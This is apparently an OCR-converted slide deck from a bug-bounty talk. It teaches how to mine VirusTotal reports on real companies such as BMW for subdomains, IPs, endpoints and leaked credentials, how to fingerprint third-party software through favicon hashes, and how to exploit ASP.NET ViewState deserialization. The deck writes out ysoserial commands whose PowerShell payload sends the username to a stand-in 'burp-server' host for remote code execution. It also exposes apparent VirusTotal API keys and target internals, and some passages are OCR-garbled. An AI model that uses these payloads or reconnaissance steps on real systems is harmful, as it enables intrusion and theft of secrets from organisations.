

# ARTOFREAL HACKING

### \$cat orwa

- Orwa Godfather (Orwa Atyat)
- Full Time Bug Hunter / Security Researcher
- Bugcrowd
   Security Researcher /Content Creator /
   Collaborator / Top 50 BC / Top 3 P1s
- 1000+ Bug Submitted (Critical/High)
- 15+ odays/CVEs
- Traveler / Gamer / Cooker





Scan me=

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### **ART OF**

VirusTotal Hacking

**Zero** - Day Hacking Machine Keys & ViewState Deserialization Hacking

### VirusTotal Hacking

Via VirusTotal Hacking You Can Find:

- IPs / Origin IPs
- Unique Endpoints
- Unique Sub domains / Open Ports
- Credentials
- Tokens





#### What is VirusTotal

VirusTotal is a popular online service that analyzes files and URLs for potential viruses, malware, and other threats. It aggregates results from various antivirus engines and website scanners to give users a comprehensive report on the safety of a file or website endpoint.

VirusTotal inspects items with over 70 antivirus scanners and URL/domain blocklisting services, in addition to a variety of tools,

website endpoints or internal endpoints / IPs get archived on VirusTotal

Via (User submission / Automated Crawling / Analysis Reports / Etc..)



### Usual Method





Analyse suspicious files, domains, IPs and URLs to detect malware and other breaches, automatically share them with the security community.

FILE

URL

SEARCH



Upload the File Or Copy the URL Or Search

And then start scanning







#### waymore / waymore.py

```
Code 55% faster with GitHub Copilot
Code
         Blame 3322 lines (2945 loc) · 167 KB
   75
          HTTP ADAPTER = None
   76
          HTTP ADAPTER CC = None
          checkWayback = 0
   77
          checkCommonCrawl = 0
   78
          checkAlienVault = 0
          checkURLScan = 0
          checkVirusTotal = 0
   81
          argsInputHostname = ''
   82
          responseOutputDirectory = ''
   83
   84
          # Source Provider URLs
   85
          WAYBACK URL = 'https://web.archive.org/cdx/search/cdx?url={DOMAIN}{COLLAPSE}&fl=timestamp,original,mimetype,statuscode,digest'
   86
          CCRAWL INDEX URL = 'https://index.commoncrawl.org/collinfo.json'
   87
          ALIENVAULT_URL = 'https://otx.alienvault.com/api/v1/indicators/{TYPE}/{DOMAIN}/url_list?limit=500'
          URLSCAN URL = 'https://urlscan.io/api/v1/search/?q=domain:{DOMAIN}&size=10000'
   89
          VIRUSTOTAL_URL = 'https://www.virustotal.com/vtapi/v2/domain/report?apikey={APIKEY}&domain={DOMAIN}
   91
          # User Agents to use when making requests, chosen at random
          USER AGENT =
               "Mozilla/F & (Macintach, Intel Mac OS V 18 11 2) AppleUphyit/Gat 2 0 (VIIIM) like Cocke) Vencion/O & 2 Safani/Gat 2 0"
```





### Orwa Method Manually Extract & Private ./script For Extract

**Discovering** 

https://www.virustotal.com/vtapi/v2/domain/report?apikey={APIKEY}&domain={DOM AIN}

EX

### Orwa Method Manually Extract





#### **Sub Domain**

"cta-hne hmu com"

https://www.virustotal.com/vtapi/v2/domain/report?apikey=XXXX&domain=www.bmw.

#### com

770

```
< > C
               xpita-bzb.bmw.com
              "www-origin-proda4.bmw.com",
 747
              "supplierdb.bmw.com",
 748
              "cesim-de-e2e.bmw.com",
 749
              "gcdmtolerant.bmw.com",
 750
              "epaas-int.bmw.com",
 751
              "static4.bmw.com",
 752
              "mndm-prod-n1.bmw.com",
 753
              "ide.bmw.com",
 754
              "rrmc-prod-r1.bmw.com",
 755
              "b2b-int.bmw.com",
 756
              "bmw-prod-a4.bmw.com",
 757
              "www-origin-proda1.bmw.com",
 758
              "plw-prod.bmw.com",
 759
              "mnomgr-kddi-us-prod.bmw.com",
 760
              "mftpedge01.bmw.com",
 761
              "gcdmtolerant-i.bmw.com",
 762
              "gcdmcdn-int.bmw.com",
 763
              "ouc.bmw.com",
 764
 765
              "nv.bmw.com",
 766
              "exd-prod.bmw.com",
 767
              "vss-int-api.bmw.com",
 768
              "callisto.bmw.com",
              "com.bmw.com",
 769
              "pita-b2b-int.bmw.com",
 770
              "xpita-b2b-aws-int.bmw.com",
 771
              "pita-b2b-aws-int.bmw.com",
 772
              "driversguide.bmw.com",
 773
              "plw-prod1.bmw.com",
 774
              "strong-int.bmw.com",
 775
              "pki-p2x-b2i-ui-emea-prod.bmw.com",
 776
              "sta-ouc.bmw.com",
 777
              "sta-nv.bmw.com"
 778
```



#### **IPs**



#### https://www.virustotal.com/vtapi/v2/domain/report?apikey=XXXX&domain=www.bmw.c

```
https://virustotal.com/ytapi/y2/domain/report?apikev=5761bc1f69fd98d11d96059ea14407347fdedb0041afaa0e9c25daec86447b118/domain=www.bmw.com
                  "ip_address": "2.16.6.32",
"last resolved": "2024-04-16 10:12:14"
                 "ip_address": "2.17.112.18",
"last_resolved": "2024-05-06 08:36:56"
          },
                 "ip_address": "2.17.211.123",
"last_resolved": "2022-11-17 22:56:46"
                 "ip_address": "2.18.29.107",
"last_resolved": "2021-05-08 13:00:38"
                 "ip_address": "2.18.29.120",
"last_resolved": "2021-04-26 11:35:27"
          },
                  "ip_address": "2.18.29.209",
"last_resolved": "2022-08-03 20:54:39"
                  "ip_address": "2.18.29.75",
"last_resolved": "2021-09-30 07:49:33"
                  "ip_address": "2.19.194.10",
"last_resolved": "2019-12-28 03:05:10"
```





### **Endpoints**

#### https://www.virustotal.com/vtapi/v2/domain/report?apikey=XXXX&domain=www.bmw.c

```
⊕ A<sup>n</sup> ☆ ♣
https://virustotal.com/vtapi/v2/domain/report?apikey=5761bc1f69fd98d11d96059ea14407347fdedb0041afaa0e9c25daec86447b11&domain=www.bmw.com
               HICEPS.//WWW.DHW.COM/II/IHIOVACTOH.HCMIT ,
              "ef83e2e689d629947a32f6ddffbc37b76f7c55e4f19d91f25b51ea2025470f9b".
              96.
              "2024-08-31 09:06:27"
              "https://www.bmw.com/en/innovation/bmw-future.html",
"ecb882930257a607916d5c00cac8f5e6dfddb676e5ce1b201087d87645639160",
              "2024-08-31 09:04:56"
              "https://www.bmw.com/en/company/history.html",
"d1fd51fa106f8ea7e2bfcef26b66d5328a81f89a0af981336dad7de48df76443",
              "2024-08-31 08:42:07"
              "https://www.bmw.com/controlling-conference",
"97d5cb38a93e20ed36758d7dea61c4277e9ff0b188136bf57259c2d997084e67",
              "2024-08-31 08:17:44"
              "https://www.bmw.com/en/design.html",
"fb7e66828e1bb56d13fa2aaf4f64f7e6336cc1f7bb6ee0fb957065914fccddc2",
              "2024-08-31 07:38:10"
```



### Credential



S





### Scenarios Of P1/2 Bugs

```
Information Disclosure Endpoints ( jpg , png , pdf in financial web
apps)
Information Disclosure Endpoints (voucher codes / gift cards)
Information Disclosure Endpoints ( txt / xml / php / etc....)
Email/User:Password Endpoints (clear text or encoded)
Tokens / Api Keys / Etc.. (ATO [reset password /create account)
Unauthorized Access Endpoints
Backup Files ( .iso / .exe / .zip / .7z / .tar / .gz / .dll )
Unauthorized Access (Unique Open Ports)
                                                                 Virus Total
Finding Origin IPs More Than Any Other Resource
```

### Keywords Tips To Search.

```
CTRL+F
.zip/.7z/.exe/.tar/.gz/.dll/.iso (backup files)
token= | apikey= | /resetpassword/
registration
== (encoded creds) | .com: |
@ | code= | .aspx | .ashx | .php
.jsp | .cgi | .xml | .txt | .xhtml
```



#### Tip

Remember. Search for subdomains one by one EX:

Results of uat-dev.orwa.com when you search it's not the same for uat1-dev.orwa.com



### Orwa Method Private ./script For Extract

https://github.com/orwagodfather/virustotalx



### **Critical Reports**

Submitted 5 months ago + Last activity 5 months ago

Unauthorized Access Lead To Expose [IBANs/Swifts/PII/Etc..] On [

### 1 PII

ID		Status
Submitted		Resolved
Target Location		This submission has been fixed!
Target category	Web App	Reward \$5,800
VRT	Sensitive Data Exposure > Disclosure of Secrets > For Publicly Accessible Asset	40 points
Priority	P1	<b>∀RT</b> version
Bug URL		1.13
Description	Hello Bugcroud Team &c	Engagement
	After marketing submissions	Closed on
	8.	1 May 2024
	2-00-00-100-002-00000000000000000000000	CrowdStream visibility
	as <b>Resolved</b> I back to check some new methods and found that I can get more info discloser from those submissions	Choose to show your details with this submission in CrowdStream when accepted.
	Description	Please note: your username will always be shown with your submission if it is disclosed.
		Show username
		Show reward
	Critical PII Access  https://www.virustotal.com/vtapi/v2/domain/report? apikey=725133d9008704c23335fc39a7351828fa80c5dde894d731d3450cf8ab8569e8&domain-	<ol> <li>Please note: This engagement does not currently disclose submissio activity in CrowdStream.</li> </ol>
	apixey=12515509006704C255557C5947551626f860C50dde894d751d3450C68d66509986xdomain=	Disclosure policy
	95HxSq21	Please note: This engagement does <b>not allow</b> disclosur You may not release information shout vulnershillries

Main Domain &

### Critical Reports



### 2 PII



ID		Status
Submitted		Resolved
Target Location		This submission has been fixed
Target category	Unspecified	Reward \$3,000
VRT	Sensitive Data Exposure > Disclosure of Secrets > For Publicly Accessible Asset	40 points
Priority	PI	<b>∀RT</b> version
Bug URL	https://virustotal.com/vtapi/v2/domain/report? apikey=5761bc1f69fd98d11d96059ea14407347fdedb0041afaa0e9c25daec86447b118cdomain	1.13  Engagement
Description	Hello Bugcrowd Team &	

### Critical Reports



3

#### Next Step==>

now we start fuzzing <a href="https://ex.pub.but">https://ex.pub.but</a> no luck getting any endpoint , browsers dork as well, but there's one interesting endpoint on virustotal

==>

https://www.virustotal.com/vtapi/v2/domain/report?

apikey=f25133d9068704c23335fc39a7351828fa80c5dde894d731d5450cf8ab8569e8&domain=

https://epp........cnsop2/\_framework/system.private.xml.dll

==>

### Critical Reports



Other Ex

```
app/virustotal-endpoint/backup.7z ===> RCE P1 20K$
app/virustotal-endpoint/actuator ===> P1 2.100$
app/virustotal-endpoint/virustotal-param= LFI ===> P1
2100$
app/resetpassword/virustotal-code ===> ATO 15K$
```



### Zero-Day Hacking





### What is Zero-day

A zero-day is a vulnerability in software or hardware that is typically unknown to the vendor and for which no patch or other fix is available.

Here our talk about softwares (Installed Apps Or Third-Party/3rd Party)



### **Third Party Ex:**

company .3rd-party.com or

3rd-party. company.com

#### Ex:

bmw.okta.com

bmw.servicenow.com

bmw.jfrog.io

okta. bmw.com servicenow. bmw.com github. bmw.com





### To Get A Zero-day

- 1) You have to find the software / installed app / 3rd party
- 2) You have to start recon about software / installed app / 3rd party
- 3) You have to find a bug in software / installed app / 3rd party
- 4) You have to test the same bug on more than 2 companies that used the software / installed app / 3rd party





### **Third Party:**


		bmw.* -bmw.com -bmw.de -sedo.com -sbomo.com -characteristics.info		Q Search		×	<b>3</b> Help			
Search results (100 / 6642, sorted by date, took 40ms)			·	Showing A	II Hits	<b>Ø</b> Deta	ails: H	idden		
	URL			Age		Size	<b>=</b>	IPs	~	A
	auth.bn	wgroup.com/auth/XUI/?realm=/internetb2x&goto=https://auth.bmwgroup.com:4	Public	12 hour	s 🕗	476 KB	39	2	1	
0	www.br	nw.com.cn//zh//index.html//zh//topics//owners//connected/-drive//service/	Public	2 days	P.0 6%	8 MB	106	6	2	
<u></u>	bmw.co	upshost.com/	Public	2 days	D-10 63%	74 KB	11	5	2	
0	www.br	nw.com.cn/zh/publicPools/error-pool/error-page.html	Public	2 days	P/0	1 MB	92	6	2	
_	auth-i.b	mwgroup.com/auth/XUI/?realm=/internetb2x&goto=https://auth-i.bmwgroup.c	Public	3 days	0	2 MB	64	6	2	
<u> </u>	support	bmw.motorrad.it/	Public	4 days	0	63 KB	12	5	2	
-	bmw.su	pplier-survey.com/index.php/228818?token=owOgYfB7HBYRlyE⟨=de	Public	4 days	•	398 KB	25	1	2	=
<u> </u>	bmw.ch	arging.de/	Public	4 days	0.0 0.0	86 KB	12	5	2	
0	www.ff.	og.ac.rs/	Public	4 days	P.0	2 MB	55	3	2	
-	www.hr	nw ne kr/	Public	5 days		179 KR	13	3	2	

To find on urlscan  $\Rightarrow$  (bmw.\* -xxx(remove anything from results)



### **Third Party**

Search for domains, IPs, filenames, hashes, ASN



### Softwares/installed apps Via favicon hash






#### Find the software from favicon.ico

#### What Are Favicons?

On most modern browsers, whenever you open a webpage, a small icon appears on the top left corner, right before the title. That is what we call a favicon.



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### Check favicon via httpx tool

-\$ cat subs.txt | httpx -path /favicon.ico -mc 200 -o live-favicon.txt

```
-(orwagodfather DESKTOP-B02BOHR)-[~]
 scat bmw | httpx -path /favicon.ico -mc 200 -o bmw-favicon
                projectdiscovery.io
[INF] Current httpx version v1.6.8 (latest)
[WRN] UI Dashboard is disabled, Use -dashboard option to enable
https://2a.www.connecteddrive.it/favicon.ico
http://360.bmw-motorrad.com/favicon.ico
http://151-michelet.mini.fr/favicon.ico
https://a4i-es.bmwgroup.com/favicon.ico
http://abm-agen.mini.fr/favicon.ico
http://abm-perigueux.mini.fr/favicon.ico
https://acceptance.eservices.alphabet.com/favicon.ico
https://accessoires.bmw.fr/favicon.ico
```




#### Tip

In some web apps about 30% used other name So manually you have to

View source: Search for (.ico) or (favicon) or (icon)

#### How To Find The Hashes In Favicon?



There's a lot of methods but the fav for me


https://favicon-hash.kmsec.uk/

You can use a ready tool for that such as <a href="https://github.com/devanshbatham/FavFreak">https://github.com/devanshbatham/FavFreak</a>



### How To Find A ssets U sing Favicon Hashes?

#### FIS Real Ex:





### How To Find Assets Using Favicon Hashes? FIS Real Ex: Retrieve from URL

favicon\_hash= -1884333011

md5= a5884f3c9934cffb01a73a9ea71151 a7 Retrieve from URL
Favicon URL

https://fraudsight.fisglobal.com/favicon.ico

Hash from URL

Result for https://fraudsight.fisglobal.com/favicon.ico:


req\_location https://fraudsight.fisglobal.com/favicon.ico
favicon\_hash -1884333011
md5 a5884f3c9934cffb01a73a9ea71151a7

### How To Find Assets Using Favicon Hashes? FIS Real Ex: (use the MD5 On Censys)

Visit: <a href="https://search.censys.io/">https://search.censys.io/</a>

Dork:

services.http.response.favicons. md5 hash:XXXXXXXXXXX




## How To Find Assets Using Favicon Hashes? FIS Real Ex: Favicon Hash (Shodan)

Visit:

https://www.shodan.io/

Dork:

http.favicon.hash:XXX




# How To Find Assets Using Favicon Hashes? FIS Real Ex: Favicon Hash (ZoomEy)

Visit:

https://www.zoomeye.hk/

Dork:

iconhash:"xxxxxx"



# Now we know what is the software or 3rd party What we can do to test

- If your program software running with a strong waf we can here start looking for the same software without waf
- We can collect the software endpoints on other domains not our program domain , and then test the endpoints on our program domain

And then we can start testing ......





Authentication bypass via cross-subdomain cookie reuse &

Authentication bypass by Bypassing Registration Restrictions

HackerX007



# What we can do to test ?

- Search for backup files for the software
- Try to download and install the software
- Try to look for the software source in the github/gitlab

And maybe you get luck by find some perfect endpoints to test or default credentials or Api Calls

or MachineKey in the ASP.NET

And from here let's start with a easy topic to understand about the machine key and exploiting viewstate deserialization.....





Here in this topic i will share

- What is the Viewstate and machine key
- How to find the viewstate and machine key
- Test Cases
- Extension to find and test the viewstate
- tools/(machine keys wordlist) to test the viewstate
- Example for Zero-Day



#### What is ViewState?

ViewState is the method that the ASP.NET framework uses by default to preserve page and control values between web pages. When the HTML for the page is rendered, the current state of the page and values that need to be retained during postback are serialized into base64-encoded strings and output in the ViewState hidden field or fields.

#### What is Machine Key?

The MachineKey class provides methods that expose the hashing and encryption logic that ASP.NET provides

MachineKey is used for:

- ViewState encryption and validation
- Forms Authentication (or Federated Authentication) uses this key for signing the authentication ticket

**ASP.NET** 



In View State calls there's a machine keys to identify the calls, if we know the machine key for the view state we can use that to generate a payload and get RCE and that's the (Deserialization vulnerability)



**How to find the ViewState?** 

In any asp.net endpoint calling server such as .asp/.aspx/.ashx/Etc....

How to find the Machine keys?
In web.config file
(download the source of software or access to web.config via

or via machine key wordlist





#### **ViewState Ex:**

```
view-source:https://www.bmwgroupfs.com/Errors/PageNotFound.aspx?aspxerrorpath=/CFALogin/Login.aspx
                                                                                                                                                                                                                                                                                                                                                                      Finish update :
Shodan Search Engi... Thiltern Password... Up uber - Censys M 10 Recon Tools For... M https://www.mercad... Shttps://www.cprs.fis... Shttps://www.cprs.fis... Shttps://www.prin.ipil... M https://www.payme... Shttps://cbu2an.cbp3... | https://cbu2an.cbp3... | https://cbu2a
                                           location.hret=document.getElementById('linkDirect').hret;
  32
  33
  34
                         window.setTimeout('CountDown()',100);
  35
                 </script>
  36
  38 <link href="../App Themes/FSCentral/accordion.css" type="text/css" rel="stylesheet" /><link href="../App Themes/FSCentral/all.css" type="text/css" rel="stylesheet" /><li
  39 <body>
                 <form name="form1" method="post" action="./PageNotFound.aspx?aspxerrorpath=%2fCFALogin%2fLogin.aspx" id="form1">
  42 <input type="hidden" name=" VIEWSTATE" id=" VIEWSTATE" value="/wEPDwUJODIyMDMwOTgzZGOKzE4ypBJLFp8RJ5cpZ6SI1a4tJ0=="
  43 </div>
  44
  45 <div>
                 <input type="hidden" name=" VIEWSTATEGENERATOR" id=" VIEWSTATEGENERATOR" value="4C3AE140" />
  47
  48 </div>
                         <br />
  49
                         50
                                  (tr>
  51
                                           52
                                                   <span style="font-size: 14px; color: black; font-weight: bold;">BMW Group</span><br />
  53
                                                    <span style="font-size: 14px; color: gray; font-weight: bold;">Financial Services</span>
  54
  55
                                           56
                                           57
                                                    <strong>BMW FS Central : Content Has Moved</strong>
  58
                                  59
                                  (tr>
                                           60
  61
                                                    <br />
                                                    <span id="lblPageNotFoundMessage">We apologize for the inconvenience, but the location you are seeking has moved.
  62
                                           63
                                  64
  65
```

#### **ViewState Ex:**





#### **ViewState Ex:**



```
    view-source:https://autorizaciones.alphabet.es/FrmNuevoTaller.aspx

                                                                                                                                                                                                                                    Finish update :
All Bookmarks
Line wrap
 3 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 5 <html xmlns="http://www.w3.org/1999/xhtml" >
 6 <head><title>
       Oficina Virtual del Proveedor
 8 </title>ink href="css/reset.css" rel="stylesheet" type="text/css" /><link href="css/screen.css" rel="stylesheet" type="text/css" /><link href="css/screen.css" rel="stylesheet" type="text/css" /></head>
       <form method="post" action="./FrmNuevoTaller.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="form1">
 11 <div class="aspNetHidden">
 12 <input type="hidden" name="__EVENTTARGET" id=" EVENTTARGET" value="" />
 13 <input type="hidden" name=" EVENTARGUERT 10=
 14 <input type="hidden" name=" VIEWSTATE id=" VIEWSTATE id=" VIEWSTATE id=" VIEWSTATE value="/wePDwULLTE0MTIy00E3NTAPZBYCAgMPZBYEAgIPDXYCHgh]bNFnZVVybAUlaHR0cHM6Ly91ZG4uYWxwa6F1ZXQuZXMvTG9nb18yMDIyLnBuZ2RkAhYPPCsAEQIBEBYAFgAWAAwUKwAAZBgBBQpnd1RhbGx1cmVzD2dkISwvthRGNceXze74mfU9G27+E67U
 15 </div>
 17 <script type="text/javascript">
 18 //<![CDATA[
 19 var theForm = document.forms['form1'];
 20 if (!theForm) {
       theForm = document.form1;
 21
22 }
23 function doPostBack(eventTarget, eventArgument) {
       if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
           theForm. EVENTTARGET.value = eventTarget;
 28
           theForm. EVENTARGUMENT.value = eventArgument;
           theForm.submit();
 28
 29 }
 30 //]]>
 31 </script>
 34 <script src="/WebResource.axd?d=jjDJSU5KZibN7gmiExaiGWPSxOchxmLR2xdF2wmsZLMG1PKy8BT7gRcgE6Kri3hSLcZZ3oi@Tj-Yj38TOnl11pEKX8gHjzzrkw-OzKnj7Fo1&amp;t=638259434771233176" type="text/javascript"></script>
 577 <script src="/WebResource.axd?d=PASO17EY4uKCbPtdunG2dkch8Blyg1WJyOCGaCtt5115ydia8XBVr16ygxGiqTNWQQFMB7phBqWuUosPL6X6V1lAxLXHVgjuqfduRexCw1&amp;t=638259434771233176" type="text/javascript"></script>
 38 <script type="text/javascript">
 39 //<![CDATA[
 40 function WebForm OnSubmit() {
 41 if (typeof(ValidatorOnSubmit) == "function" && ValidatorOnSubmit() == false) return false;
 42 return true;
 43 }
 44 //11>
 45 </script>
 47 <div class="aspNetHidden">
 40
       <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="368E092E" />
 50
       <input type="hidden" name=" EVENTVALIDATION" id=" EVENTVALIDATION" value="/wEdAAUDiQlFFh/5115paiwNl9g/mkrh6tqHBrdd0hp+gZF2zhmYB3M/ek2Kooab587j53zAH/RKUMJHC/zrqMeJnKZQiTKHpyjpwdHRl0dROW/mpHTD1RPBtwFWoK6qS9PnRqHScg4W5cXwW69k0SE6LNh4B" />
 51 </div>
 52
```

#### **Test Cases**



- (2) Cases to test the ViewState Deserialization
  - if the (Mac is not enabled) and here we can start exploiting directly without need to (Machine Key)
  - If the (Mac is enabled) we have to get the (Machine key) and in this case we can start testing the machine keys wordlist or

try to download the software and try access to web.config in the source of software

**ASP**.NET

#### Extension to find and test the viewstate

Pro extensi...

Pro extensi...

Reinstall

#### **ViewState Editor** Burp extension

23 Nov 2... Low

09 Dec 2... Low

10 Aug 2... Low

습습습-

**BApp Store** 

Web Cache Deceptio...


WebAuthn CBOR De...

Webinspect Connect...

#### The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities. Name Install... Rating Popul... Last upda... System i... Detail ViewState Editor ThreadFix 25 Jan 20... Low Pro extensi... Timeinator, Time Bas... 25 Feb 20... Low ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data. Timestamp Editor 18 Mar 2... Low It shows a tree view of the structure and provides an editor for viewing & editing the contents. Token Extractor 10 Feb 20... Low Token Incrementor 27 Nov 2... Low TokenJar 09 Jun 20... Low Estimated system impact Turbo Data Miner 1-2000 20 Apr 20... Low 습습습-Turbo Intruder 07 Aug 2... Medium Requires a... Overall: Low Type Confusion Scan... 1-2222 11 Sep 2... Low Pro extensi... Memory CPU Time Scanner Upload Scanner 1 2000 21 Feb 20... Low Pro extensi... - Low 10 Low (C) Low M Low 06 Dec 2... Low UPnP Hunter URL Fuzzer - 401/40... 09 Jan 20... Low Requires a... LILIID Detector Author: PortSwigger Web Security - Mike Smith ViewState Editor 10 Mar 2. Low Version: WAR bypauu or sep z... Low Source: https://github.com/portswigger/viewstate-editor WAF Cookie Fetcher - CA CA CA 16 Jan 20... Low 10 Mar 2021 Updated: WAFDetect 25 Aug 2... Low Pro extensi... Wayback Machine 18 Jun 20... Low Rating: Submit rating WCF Deserializer 15 Jun 20... Low Popularity:



#### **ViewState Editor Burp extension ( Mac Enabled)**





#### ViewState Editor Burp extension ( Mac is not enabled )

```
Raw Params Headers Hex ViewState

ViewState v2.0 compatible [MAC is not enabled]

Pair

Pair

string -921640512

Pair

null
```



#### \_\_\_

# Tools/(machine keys wordlist)! To test the viewstate.

- 1 AspDotNetWrapper This Tool To Test Machine Keys In View State
- 2 ysoserial This Tool To generate a serialized payload

#### Tip2

You have to test all ASPX endpoints not just a single one, and mostly in bypasses cases



#### Tip

If the (Mac is not enabled) we can skip first tool and start directly exploit on ysoserial tool



(MAC is not enabled )

Simply use ysoserial generate a serialized payload and send it in a POST request to perform RCE

EX Username Command:

ysoserial.exe –o base64 –g TypeConfuseDelegate –f ObjectStateFormatter –c "powershell.exe Invoke–WebRequest –Uri <a href="http://burp-server/\$env:UserName">http://burp-server/\$env:UserName</a>"

Next Step  $\Rightarrow$  Copy the payload and replaces it in ViewState parameter value

&\_\_viewstate= payload then send the request and check your burp/server





```
Description Request to Collaborator Response from Collaborator

Pretty Raw Hex

GET /aitprodweb01$ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.6343

Host: 1bdpsuaaprzBeg4vpmun1jpag1msaiy7.oastify.com

Connection: Keep-Alive
```



### **Exploiting** (MAC enabled)



(MAC enabled) **Keys Not Found** (pass that)

If the key found the response will be like this ===>

```
Decode process start!!

Pocessing machinekeys AES,HMACSHA256: 4/3632......

Keys found!!
--------
DecryptionKey:BDEED9A1C01BBB0C36905E8DC3C162AE38C6FE093F87035CE3BB1BEEB1355BE8
ValidationKey:8271C36470BF3A9472D4AAD0F8790B2951976F0BF2A44C41F76EAFC562D69D3B91A2FBCFD5311A6FC5BDBEEF0D79552967C1EF639EDD229F3397FE

EncodedDataWithoutHash:/wEPDwUKMTU3NTkzNTgyMw8WAh4TVmFsaWRhdGVSZXF1ZXN0TW9kZQIBFgICAQ9kFgICDQ8PFgIeBFRleHQFBINA==

C:\Users\trt10>
```



(MAC enabled)
What we need form here is ( HMACSHA256 ) and the value of (Validationkey )

```
Decode process start!!

Pocessing machinekeys AE: HMACSHA256: 4/3632......

Keys found!!

DecryntionKey:RDEFD941C01RRR0C3690SF8DC3C162AF38C6FF093E8703SCE3RR1BFFR13SSRF8

ValidationKey:8271C36470BF3A9472D4AAD0F8790B2951976F0BF2A44C41F76EAFC562D69D3B91A2FBCFD5311A6FC5BDBEEF0D795S2
67C1EF639EDD229F3397FE

EncodedDataWithoutHash:/wEPDwUKMTU3NTkzNTgyMw8WAh4TVmFsaWRhdGVSZXF1ZXN0TW9kZQIBFgICAQ9kFgICDQ8PFgIeBFRleHQFB1N
A==

C:\Users\trt10>
```



#### (MAC enabled)

Next step copy the ValidationKey and HMACSHA256 and over ysoserial run this command

```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c " <Command>"
--generator=<__VIEWSTATEGENERATOR> --validationalg="<Key_Type>"
--validationkey="<validationkey>"

replace the <__VIEWSTATEGENERATOR> to __VIEWSTATEGENERATOR parameter value in the source replace the <Key_Type> to HMACSHA256
replace the <validationkey> to ValidationKey value
```



(MAC enabled)

#### Ex Username command

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://burp-server/\$env:UserName" --generator=xxxxx --validationalg="HMACSHA256" --validationkey="xxxxxxxx"

Next Step ⇒
Copy the payload and replaces it in **ViewState parameter value** 


&\_\_\_VIEWSTATE= payload then send the request and check your burp/server



## **Zero-Day!** Example.

- 1) We found a software via checking for favicon hash.
- 2) We found a software source backup via Virustotal .
- 3) We found a machinkey in the source web.config file.
- 4) We tested that machinkey on all clients.

And the result a amazing RCF & Zero-Day





**SO...** 



ANY QUESTIONS?

makeameme.org